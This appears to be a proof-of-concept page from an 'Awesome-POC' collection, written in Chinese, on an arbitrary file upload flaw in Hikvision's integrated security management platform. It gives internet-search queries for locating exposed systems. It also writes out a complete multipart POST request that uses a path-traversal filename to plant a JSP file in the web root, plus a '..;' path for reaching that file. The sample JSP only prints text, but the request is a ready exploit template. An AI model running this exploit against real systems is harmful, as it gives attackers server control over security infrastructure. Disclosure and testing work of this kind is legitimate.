Awesome-POC/网络设备漏洞/HIKVISION 综合安防管理平台 report 任意文件上传漏洞.md
2024-11-06 14:10:36 +08:00

61 lines
1.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Hikvision 综合安防管理平台 report 任意文件上传漏洞
## 漏洞描述
Hikvision 综合安防管理平台 report接口存在任意文件上传漏洞攻击者通过构造特殊的请求包可以上传任意文件获取服务器权限
## 漏洞影响
Hikvision 综合安防管理平台
## 网络测绘
```
app="Hikvision-综合安防管理平台"
```
```
web.title=="综合安防管理平台"
```
## 漏洞复现
登陆页面
![image-20220824134144287](images/202208241341481.png)
```
WEB-INF/classes/com/Hikvision/svm/controller/ExternalController.class
```
![image-20230828163755020](images/image-20230828163755020.png)
```
WEB-INF/classes/com/Hikvision/svm/business/serivce/impl/ExternalBusinessServiceImpl.class
```
![image-20230828163809686](images/image-20230828163809686.png)
构造上传文件(通过 env泄漏获取绝对路径路径一般不会修改
```
POST /svm/api/external/report HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9PggsiM755PLa54a
------WebKitFormBoundary9PggsiM755PLa54a
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../../../opt/Hikvision/web/components/tomcat85linux64.1/webapps/eportal/new.jsp"
Content-Type: application/zip
<%out.print("test");%>
------WebKitFormBoundary9PggsiM755PLa54a--
```
![image-20230828163835117](images/image-20230828163835117.png)
```
/portal/ui/login/..;/..;/new.jsp
```
![image-20230828163848482](images/image-20230828163848482.png)